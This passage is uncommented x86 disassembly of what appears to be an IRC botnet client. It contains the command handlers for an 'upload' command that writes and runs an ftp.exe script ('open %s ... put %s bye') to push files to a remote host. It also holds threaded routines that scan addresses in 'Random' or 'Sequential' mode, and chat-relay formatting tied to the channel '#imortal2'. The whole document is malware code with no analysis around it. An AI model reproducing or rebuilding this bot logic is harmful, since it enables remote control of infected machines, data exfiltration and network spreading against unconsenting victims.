inc [ebp+4Ch+var_24]
mov eax, [ebp+4Ch+var_24]
cmp eax, [ebp+4Ch+var_B8]
jl short loc_407A8D
jmp short loc_407AF6
; ---------------------------------------------------------------------------
loc_407AB5: ; CODE XREF: sub_40274D+5355j
push ebx
push [ebp+4Ch+var_4]
push offset unk_42DA98
jmp short loc_407AFF
; ---------------------------------------------------------------------------
loc_407AC0: ; CODE XREF: sub_40274D+5359j
push [ebp+4Ch+var_20]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42DA64
push eax
call sub_41E6A6
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 20h
loc_407AED: ; CODE XREF: sub_40274D+533Ej
cmp [ebp+4Ch+var_20], ebx
jnz loc_407C7B
loc_407AF6: ; CODE XREF: sub_40274D+5366j
push ebx
push [ebp+4Ch+var_4]
push offset unk_42DA30
loc_407AFF: ; CODE XREF: sub_40274D+5371j
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
jmp loc_407C7B
; ---------------------------------------------------------------------------
loc_407B12: ; CODE XREF: sub_40274D+4D4Bj
; sub_40274D+4D62j ...
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_C6C], eax
mov eax, [ebp+4Ch+var_4]
push 7Fh
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_C70], eax
lea eax, [ebp+4Ch+var_D04]
push eax
call sub_41E860
push edi
call sub_41E7AD
push [ebp+4Ch+arg_0]
mov [ebp+4Ch+var_C84], eax
call sub_41E7AD
push [ebp+4Ch+var_14]
mov [ebp+4Ch+var_C80], eax
call sub_41E7AD
mov esi, [ebp+esi+4Ch+var_90]
add esp, 18h
cmp esi, ebx
mov [ebp+4Ch+var_C7C], eax
jz short loc_407B77
push esi
call sub_41E7AD
pop ecx
mov [ebp+4Ch+var_C78], eax
jmp short loc_407B7D
; ---------------------------------------------------------------------------
loc_407B77: ; CODE XREF: sub_40274D+5419j
mov [ebp+4Ch+var_C78], ebx
loc_407B7D: ; CODE XREF: sub_40274D+5428j
push 7Fh
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_D84]
push eax
call sub_41E860
push [ebp+4Ch+var_C7C]
mov esi, [ebp+4Ch+arg_4]
push [ebp+4Ch+var_C80]
lea eax, [ebp+4Ch+var_D04]
push eax
push [ebp+4Ch+var_C84]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D9E8
push eax
mov [ebp+4Ch+var_D88], esi
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 17h
push eax
call sub_40AE85
add esp, 30h
mov [ebp+4Ch+var_C74], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_D88]
push eax
push offset dword_416104
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_C74]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_407C21
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D9B0
jmp loc_4089B1
; ---------------------------------------------------------------------------
loc_407C19: ; CODE XREF: sub_40274D+54DAj
push 32h
call ds:dword_42B014 ; Sleep
loc_407C21: ; CODE XREF: sub_40274D+54B9j
cmp [ebp+4Ch+var_C68], ebx
jz short loc_407C19
jmp loc_4089C0
; ---------------------------------------------------------------------------
loc_407C2E: ; CODE XREF: sub_40274D+4D1Dj
; sub_40274D+4D34j
push 0Bh
call sub_40B075
push edi
mov [ebp+4Ch+var_20], eax
call sub_41E7AD
add eax, [ebp+4Ch+var_20]
pop ecx
cmp eax, 1F4h
pop ecx
jle loc_407DF1
push [ebp+4Ch+var_20]
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D970
push eax
call sub_41E6A6
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 20h
loc_407C7B: ; CODE XREF: sub_40274D+4FBFj
; sub_40274D+53A3j ...
mov esi, [ebp+esi+4Ch+var_90]
cmp esi, ebx
jz loc_402B92
push [ebp+4Ch+var_10]
push offset aUpload ; "upload"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_404979
push 4
push esi
call sub_419429
test eax, eax
pop ecx
pop ecx
jnz short loc_407CC6
push esi
push offset unk_42D948
loc_407CB2: ; CODE XREF: sub_40274D+7774j
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
add esp, 0Ch
jmp loc_404A5B
; ---------------------------------------------------------------------------
loc_407CC6: ; CODE XREF: sub_40274D+555Dj
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call sub_41ECDE
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41ECDE
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41ECDE
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+4Ch+var_5200]
push edx
push eax
lea eax, [ebp+4Ch+var_2E60]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2E60]
push offset aAb ; "ab"
push eax
call sub_41E54E
add esp, 20h
cmp eax, ebx
mov [ebp+4Ch+var_B8], eax
jz loc_402B92
push esi
push [ebp+4Ch+var_14]
push [ebp+4Ch+arg_0]
push edi
push [ebp+4Ch+var_8]
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41ECA2
push [ebp+4Ch+var_B8]
call sub_41E24B
lea eax, [ebp+4Ch+var_2E60]
push eax
lea eax, [ebp+4Ch+var_4CF8]
push offset aSS_2 ; "-s:%s"
push eax
call sub_41E6A6
add esp, 2Ch
push ebx
push ebx
lea eax, [ebp+4Ch+var_4CF8]
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call ds:dword_444214
test eax, eax
push [ebp+4Ch+var_8]
push esi
jz short loc_407D92
push offset unk_42D8D8
jmp short loc_407D97
; ---------------------------------------------------------------------------
loc_407D92: ; CODE XREF: sub_40274D+563Cj
push offset unk_42D8A8
loc_407D97: ; CODE XREF: sub_40274D+5643j
call sub_41E6A6
add esp, 0Ch
cmp [ebp+4Ch+var_C], ebx
jnz short loc_407DBD
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
loc_407DBD: ; CODE XREF: sub_40274D+5655j
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_417D70
jmp short loc_407DD7
; ---------------------------------------------------------------------------
loc_407DCB: ; CODE XREF: sub_40274D+569Dj
lea eax, [ebp+4Ch+var_2E60]
push eax
call sub_41EC78
loc_407DD7: ; CODE XREF: sub_40274D+567Cj
lea eax, [ebp+4Ch+var_2E60]
push 4
push eax
call sub_419429
add esp, 0Ch
test eax, eax
jnz short loc_407DCB
jmp loc_402B92
; ---------------------------------------------------------------------------
loc_407DF1: ; CODE XREF: sub_40274D+54FBj
push [ebp+4Ch+var_8]
call sub_41E7AD
push edi
mov [ebp+4Ch+var_378], eax
call sub_41E7AD
push [ebp+4Ch+arg_0]
mov [ebp+4Ch+var_360], eax
call sub_41E7AD
add esp, 0Ch
cmp eax, 5
mov [ebp+4Ch+var_374], eax
jnb short loc_407E2A
push 5
pop eax
mov [ebp+4Ch+var_374], eax
loc_407E2A: ; CODE XREF: sub_40274D+56D2j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_407E37
mov [ebp+4Ch+var_374], ecx
loc_407E37: ; CODE XREF: sub_40274D+56E2j
push [ebp+4Ch+var_14]
call sub_41E7AD
mov [ebp+4Ch+var_370], eax
mov eax, 320h
cmp [ebp+4Ch+var_370], eax
pop ecx
jbe short loc_407E59
mov [ebp+4Ch+var_370], eax
loc_407E59: ; CODE XREF: sub_40274D+5704j
or [ebp+4Ch+var_35C], 0FFFFFFFFh
cmp ds:dword_43D880, ebx
mov [ebp+4Ch+var_24], ebx
jz short loc_407EA8
mov edi, offset dword_43D880
loc_407E70: ; CODE XREF: sub_40274D+573Dj
push [ebp+4Ch+var_8]
lea eax, [edi-28h]
push eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_407E8E
inc [ebp+4Ch+var_24]
add edi, 40h
cmp [edi], ebx
jnz short loc_407E70
jmp short loc_407EA8
; ---------------------------------------------------------------------------
loc_407E8E: ; CODE XREF: sub_40274D+5733j
mov eax, [ebp+4Ch+var_24]
mov ecx, eax
shl ecx, 6
mov ecx, ds:dword_43D880[ecx]
mov [ebp+4Ch+var_378], ecx
mov [ebp+4Ch+var_35C], eax
loc_407EA8: ; CODE XREF: sub_40274D+571Cj
; sub_40274D+573Fj
cmp [ebp+4Ch+var_378], ebx
jnz short loc_407EBA
push offset unk_42D874
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_407EBA: ; CODE XREF: sub_40274D+5761j
mov edi, [ebp+esi+4Ch+var_90]
cmp edi, ebx
mov [ebp+4Ch+var_B8], edi
jz short loc_407EF5
cmp byte ptr [edi], 23h
jz short loc_407EF5
push edi
lea eax, [ebp+4Ch+var_48C]
push 10h
push eax
call sub_41E6FE
push 78h
push edi
call sub_41EFD0
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+4Ch+var_34C], eax
jmp loc_407FD0
; ---------------------------------------------------------------------------
loc_407EF5: ; CODE XREF: sub_40274D+5776j
; sub_40274D+577Bj
cmp [ebp+4Ch+var_907], bl
jnz short loc_407F17
cmp [ebp+4Ch+var_906], bl
jnz short loc_407F17
cmp [ebp+4Ch+var_8F6], bl
jnz short loc_407F17
push offset unk_42D840
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_407F17: ; CODE XREF: sub_40274D+57AEj
; sub_40274D+57B6j ...
push 10h
pop edi
lea eax, [ebp+4Ch+var_2D4]
push eax
lea eax, [ebp+4Ch+var_300]
push eax
push [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_2D4], edi
call ds:dword_444068 ; getsockname
mov al, [ebp+4Ch+var_907]
neg al
push edi
sbb eax, eax
and eax, 0FFFF0100h
add eax, 0FFFFh
and [ebp+4Ch+var_2FC], eax
push [ebp+4Ch+var_2FC]
call ds:dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+4Ch+var_48C]
push eax
call sub_41E860
add esp, 0Ch
cmp [ebp+4Ch+var_8F6], bl
jz short loc_407FCA
xor eax, eax
cmp [ebp+4Ch+var_907], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+4Ch+var_48C]
push eax
call sub_41EE50
cmp edi, ebx
pop ecx
pop ecx
mov byte ptr [ebp+4Ch+arg_0+3], bl
jle short loc_407FBE
loc_407F9C: ; CODE XREF: sub_40274D+586Fj
cmp eax, ebx
jz short loc_407FBE
mov byte ptr [eax], 78h
lea eax, [ebp+4Ch+var_48C]
push 30h
push eax
call sub_41EE50
inc byte ptr [ebp+4Ch+arg_0+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+4Ch+arg_0+3]
cmp ecx, edi
jl short loc_407F9C
loc_407FBE: ; CODE XREF: sub_40274D+584Dj
; sub_40274D+5851j
mov [ebp+4Ch+var_34C], 1
jmp short loc_407FD0
; ---------------------------------------------------------------------------
loc_407FCA: ; CODE XREF: sub_40274D+5827j
mov [ebp+4Ch+var_34C], ebx
loc_407FD0: ; CODE XREF: sub_40274D+57A3j
; sub_40274D+587Bj
mov eax, [ebp+4Ch+arg_4]
push [ebp+4Ch+var_9C]
mov [ebp+4Ch+var_37C], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_354], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_350], eax
mov edi, 80h
lea eax, [ebp+4Ch+var_47C]
push edi
push eax
call sub_41E6FE
mov esi, [ebp+esi+4Ch+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_40801E
loc_40800B: ; CODE XREF: sub_40274D+58F4j
push esi
loc_40800C: ; CODE XREF: sub_40274D+58DEj
lea eax, [ebp+4Ch+var_3FC]
push edi
push eax
call sub_41E6FE
add esp, 0Ch
jmp short loc_408049
; ---------------------------------------------------------------------------
loc_40801E: ; CODE XREF: sub_40274D+58BCj
mov eax, [ebp+4Ch+var_B8]
cmp eax, ebx
jz short loc_40802D
cmp byte ptr [eax], 23h
jnz short loc_40802D
push eax
jmp short loc_40800C
; ---------------------------------------------------------------------------
loc_40802D: ; CODE XREF: sub_40274D+58D6j
; sub_40274D+58DBj
push offset byte_42B633
mov esi, offset aImortal2_0 ; "#imortal2"
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_40800B
mov [ebp+4Ch+var_3FC], bl
loc_408049: ; CODE XREF: sub_40274D+58CFj
cmp [ebp+4Ch+var_34C], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_40805B
mov eax, offset aSequential ; "Sequential"
loc_40805B: ; CODE XREF: sub_40274D+5907j
push [ebp+4Ch+var_360]
lea ecx, [ebp+4Ch+var_48C]
push [ebp+4Ch+var_370]
push [ebp+4Ch+var_374]
push [ebp+4Ch+var_378]
push ecx
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D7D8
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 0Bh
push eax
call sub_40AE85
add esp, 2Ch
mov [ebp+4Ch+var_36C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_48C]
push eax
push offset word_40BEFE
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_36C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4080EC
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D7A0
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4080E4: ; CODE XREF: sub_40274D+59A5j
push 32h
call ds:dword_42B014 ; Sleep
loc_4080EC: ; CODE XREF: sub_40274D+5984j
cmp [ebp+4Ch+var_348], ebx
jz short loc_4080E4
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_4080F9: ; CODE XREF: sub_40274D+4CEFj
; sub_40274D+4D06j
push [ebp+4Ch+var_8]
call sub_4022BD
push edi
mov [ebp+4Ch+var_4E8], eax
call sub_41E7AD
push [ebp+4Ch+arg_0]
mov [ebp+4Ch+var_4F8], eax
call sub_41E7AD
push [ebp+4Ch+var_14]
mov [ebp+4Ch+var_4F4], eax
call sub_41E7AD
mov esi, [ebp+4Ch+arg_4]
push 7Fh
push [ebp+4Ch+var_9C]
mov [ebp+4Ch+var_4F0], eax
lea eax, [ebp+4Ch+var_578]
push eax
mov [ebp+4Ch+var_57C], esi
call sub_41E860
mov eax, [ebp+4Ch+var_C]
mov edi, [ebp+4Ch+var_4]
add esp, 1Ch
push [ebp+4Ch+var_4F4]
mov [ebp+4Ch+var_4E0], edi
push [ebp+4Ch+var_4F8]
mov [ebp+4Ch+var_4DC], eax
push [ebp+4Ch+var_4F0]
push [ebp+4Ch+var_4E8]
call ds:dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D750
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 0Bh
push eax
call sub_40AE85
add esp, 24h
mov [ebp+4Ch+var_4EC], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_57C]
push eax
push offset dword_40C4C0
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_4EC]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4081EE
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D710
jmp loc_40491A
; ---------------------------------------------------------------------------
loc_4081E6: ; CODE XREF: sub_40274D+5AA7j
push 32h
call ds:dword_42B014 ; Sleep
loc_4081EE: ; CODE XREF: sub_40274D+5A86j
cmp [ebp+4Ch+var_4D8], ebx
jz short loc_4081E6
jmp loc_404929
; ---------------------------------------------------------------------------
loc_4081FB: ; CODE XREF: sub_40274D+4CB2j
; sub_40274D+4CC9j
push [ebp+4Ch+var_8]
call sub_41E7AD
imul eax, 234h
cmp ds:byte_444500[eax], bl
pop ecx
jz loc_404979
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push edi
call sub_41E1C0
push [ebp+4Ch+var_8]
mov esi, eax
call sub_41E1C0
push [ebp+4Ch+var_10]
add esi, eax
call sub_41E1C0
add eax, [ebp+4Ch+var_18]
push [ebp+4Ch+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41F090
mov esi, eax
push esi
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42D704
push eax
call sub_41E6A6
add esp, 20h
cmp esi, ebx
jz loc_404979
push [ebp+4Ch+var_8]
call sub_41E7AD
test eax, eax
pop ecx
jle loc_404979
push [ebp+4Ch+var_8]
call sub_41E7AD
cmp eax, 400h
pop ecx
jge loc_404979
push ebx
push ebx
lea eax, [ebp+4Ch+var_2D0]
push eax
push edi
push [ebp+4Ch+var_8]
call sub_41E7AD
imul eax, 234h
pop ecx
push ds:dword_4444F4[eax]
call sub_40123B
push [ebp+4Ch+var_8]
call sub_41E7AD
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_4442E8[eax], 73h
jnz loc_404979
push esi
push [ebp+4Ch+var_8]
call sub_41E7AD
imul eax, 234h
pop ecx
add eax, offset byte_444500
push eax
push edi
push offset aSSS_0 ; "[%s] * %s %s"
jmp loc_4083C8
; ---------------------------------------------------------------------------
loc_4082F0: ; CODE XREF: sub_40274D+4C84j
; sub_40274D+4C9Bj
push [ebp+4Ch+var_8]
call sub_41E7AD
imul eax, 234h
cmp ds:byte_444500[eax], bl
pop ecx
jz loc_404979
cmp [ebp+4Ch+var_18], ebx
jz loc_404979
push edi
call sub_41E1C0
push [ebp+4Ch+var_8]
mov esi, eax
call sub_41E1C0
push [ebp+4Ch+var_10]
add esi, eax
call sub_41E1C0
add eax, [ebp+4Ch+var_18]
push [ebp+4Ch+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41F090
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_404979
push [ebp+4Ch+var_8]
call sub_41E7AD
test eax, eax
pop ecx
jle loc_404979
push [ebp+4Ch+var_8]
call sub_41E7AD
cmp eax, 400h
pop ecx
jge loc_404979
push ebx
push ebx
push esi
push edi
push [ebp+4Ch+var_8]
call sub_41E7AD
imul eax, 234h
pop ecx
push ds:dword_4444F4[eax]
call sub_40123B
push [ebp+4Ch+var_8]
call sub_41E7AD
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_4442E8[eax], 73h
jnz loc_404979
push esi
push [ebp+4Ch+var_8]
call sub_41E7AD
imul eax, 234h
pop ecx
add eax, offset byte_444500
push eax
push edi
push offset aSSS_1 ; "[%s] <%s> %s"
loc_4083C8: ; CODE XREF: sub_40274D+5B9Ej
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
loc_4083EA: ; CODE XREF: sub_40274D+23E3j
add esp, 28h
jmp loc_404979
; ---------------------------------------------------------------------------
loc_4083F2: ; CODE XREF: sub_40274D+4C56j
; sub_40274D+4C6Dj
push [ebp+4Ch+var_8]
call ds:dword_44417C ; inet_addr
push edi
mov [ebp+4Ch+var_688], eax
call sub_41E7AD
push [ebp+4Ch+arg_0]
mov [ebp+4Ch+var_698], eax
call sub_41E7AD
mov esi, [ebp+4Ch+arg_4]
push 7Fh
push [ebp+4Ch+var_9C]
mov [ebp+4Ch+var_690], eax
lea eax, [ebp+4Ch+var_718]
push eax
mov [ebp+4Ch+var_71C], esi
call sub_41E860
mov eax, [ebp+4Ch+var_C]
mov edi, [ebp+4Ch+var_4]
add esp, 14h
push [ebp+4Ch+var_690]
mov [ebp+4Ch+var_680], edi
push [ebp+4Ch+var_698]
mov [ebp+4Ch+var_67C], eax
push [ebp+4Ch+var_688]
call ds:dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D6A8
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 0Bh
push eax
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_68C], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_71C]
push eax
push offset byte_40C3D3
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_68C]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4084D4
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D7A0
jmp loc_40491A
; ---------------------------------------------------------------------------
loc_4084CC: ; CODE XREF: sub_40274D+5D8Dj
push 32h
call ds:dword_42B014 ; Sleep
loc_4084D4: ; CODE XREF: sub_40274D+5D6Cj
cmp [ebp+4Ch+var_678], ebx
jz short loc_4084CC
jmp loc_404929
; ---------------------------------------------------------------------------
loc_4084E1: ; CODE XREF: sub_40274D+4C28j
; sub_40274D+4C3Fj
push [ebp+4Ch+var_8]
call sub_41E7AD
push 7Fh
mov [ebp+4Ch+var_1134], eax
lea eax, [ebp+4Ch+var_1238]
push edi
push eax
call sub_41E860
push [ebp+4Ch+arg_0]
call sub_41E7AD
push [ebp+4Ch+var_9C]
mov esi, [ebp+4Ch+arg_4]
mov [ebp+4Ch+var_1138], eax
lea eax, [ebp+4Ch+var_11B8]
push 80h
push eax
mov [ebp+4Ch+var_1240], esi
call sub_41E6FE
mov eax, [ebp+4Ch+var_C]
mov edi, [ebp+4Ch+var_4]
add esp, 20h
push [ebp+4Ch+var_1138]
mov [ebp+4Ch+var_1124], eax
lea eax, [ebp+4Ch+var_1238]
push eax
push [ebp+4Ch+var_1134]
mov [ebp+4Ch+var_1128], edi
push esi
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D66C
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 18h
push eax
call sub_40AE85
add esp, 24h
mov [ebp+4Ch+var_1130], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_1240]
push eax
push offset dword_41366C
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_1130]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4085CA
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D628
jmp loc_40491A
; ---------------------------------------------------------------------------
loc_4085C2: ; CODE XREF: sub_40274D+5E83j
push 32h
call ds:dword_42B014 ; Sleep
loc_4085CA: ; CODE XREF: sub_40274D+5E62j
cmp [ebp+4Ch+var_1120], ebx
jz short loc_4085C2
jmp loc_404929
; ---------------------------------------------------------------------------
loc_4085D7: ; CODE XREF: sub_40274D+4BFAj
; sub_40274D+4C11j
push 0FFh
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_2880]
push eax
call sub_41E860
push 0FFh
lea eax, [ebp+4Ch+var_2780]
push edi
push eax
call sub_41E860
push [ebp+4Ch+arg_0]
mov [ebp+4Ch+var_267C], ebx
call sub_41E7AD
mov [ebp+4Ch+var_2678], eax
mov eax, [ebp+esi+4Ch+var_94]
add esp, 1Ch
cmp eax, ebx
jz short loc_408630
push 10h
push ebx
push eax
call sub_41EC61
add esp, 0Ch
mov [ebp+4Ch+var_2670], eax
jmp short loc_408636
; ---------------------------------------------------------------------------
loc_408630: ; CODE XREF: sub_40274D+5ECDj
mov [ebp+4Ch+var_2670], ebx
loc_408636: ; CODE XREF: sub_40274D+5EE1j
mov esi, [ebp+esi+4Ch+var_90]
cmp esi, ebx
jz short loc_40864D
push esi
call sub_41E7AD
pop ecx
mov [ebp+4Ch+var_2674], eax
jmp short loc_408653
; ---------------------------------------------------------------------------
loc_40864D: ; CODE XREF: sub_40274D+5EEFj
mov [ebp+4Ch+var_2674], ebx
loc_408653: ; CODE XREF: sub_40274D+5EFEj
movzx eax, [ebp+4Ch+var_903]
mov esi, [ebp+4Ch+arg_4]
push 7Fh
push [ebp+4Ch+var_9C]
mov [ebp+4Ch+var_266C], eax
lea eax, [ebp+4Ch+var_2900]
push eax
mov [ebp+4Ch+var_2904], esi
call sub_41E860
mov eax, [ebp+4Ch+var_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_2664], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_2668], eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D5FC
push eax
call sub_41E6A6
push esi
lea eax, [ebp+4Ch+var_2D0]
push 1Dh
push eax
call sub_40AE85
add esp, 28h
mov [ebp+4Ch+var_2680], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_2904]
push eax
push offset dword_418F38
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_2680]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_408701
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D5BC
jmp loc_4089B1
; ---------------------------------------------------------------------------
loc_4086F9: ; CODE XREF: sub_40274D+5FBAj
push 32h
call ds:dword_42B014 ; Sleep
loc_408701: ; CODE XREF: sub_40274D+5F99j
cmp [ebp+4Ch+var_2660], ebx
jz short loc_4086F9
jmp loc_4089C0
; ---------------------------------------------------------------------------
loc_40870E: ; CODE XREF: sub_40274D+4BCCj
; sub_40274D+4BE3j
push 7Fh
pop esi
push esi
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_36AC]
push eax
call sub_41E860
push esi
lea eax, [ebp+4Ch+var_362C]
push edi
push eax
call sub_41E860
push esi
push [ebp+4Ch+arg_0]
lea eax, [ebp+4Ch+var_35AC]
push eax
call sub_41E860
push esi
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_352C]
push eax
call sub_41E860
push [ebp+4Ch+arg_0]
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_34A8], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_34A4], eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D580
push eax
mov [ebp+4Ch+var_36B0], esi
call sub_41E6A6
add esp, 44h
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 12h
push eax
call sub_40AE85
add esp, 0Ch
mov [ebp+4Ch+var_34AC], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_36B0]
push eax
push offset loc_417BC8
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_34AC]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4087E5
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D548
jmp loc_4089B1
; ---------------------------------------------------------------------------
loc_4087DD: ; CODE XREF: sub_40274D+609Ej
push 32h
call ds:dword_42B014 ; Sleep
loc_4087E5: ; CODE XREF: sub_40274D+607Dj
cmp [ebp+4Ch+var_34A0], ebx
jz short loc_4087DD
jmp loc_4089C0
; ---------------------------------------------------------------------------
loc_4087F2: ; CODE XREF: sub_40274D+4AA3j
; sub_40274D+4ABAj
push 7Fh
pop esi
push esi
push [ebp+4Ch+var_8]
lea eax, [ebp+4Ch+var_3284]
push eax
call sub_41E860
push esi
lea eax, [ebp+4Ch+var_3204]
push edi
push eax
call sub_41E860
push esi
push [ebp+4Ch+arg_0]
lea eax, [ebp+4Ch+var_3184]
push eax
call sub_41E860
push esi
push [ebp+4Ch+var_9C]
lea eax, [ebp+4Ch+var_3104]
push eax
call sub_41E860
push [ebp+4Ch+arg_0]
mov eax, [ebp+4Ch+var_4]
mov esi, [ebp+4Ch+arg_4]
push edi
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_3080], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_307C], eax
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42D518
push eax
mov [ebp+4Ch+var_3288], esi
call sub_41E6A6
add esp, 44h
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 0Eh
push eax
call sub_40AE85
add esp, 0Ch
mov [ebp+4Ch+var_3084], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_3288]
push eax
push offset loc_4167D6
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_3084]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4088C9
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42D4E0
jmp loc_4089B1
; ---------------------------------------------------------------------------
loc_4088C1: ; CODE XREF: sub_40274D+6182j
push 32h
call ds:dword_42B014 ; Sleep
loc_4088C9: ; CODE XREF: sub_40274D+6161j
cmp [ebp+4Ch+var_3078], ebx
jz short loc_4088C1
jmp loc_4089C0
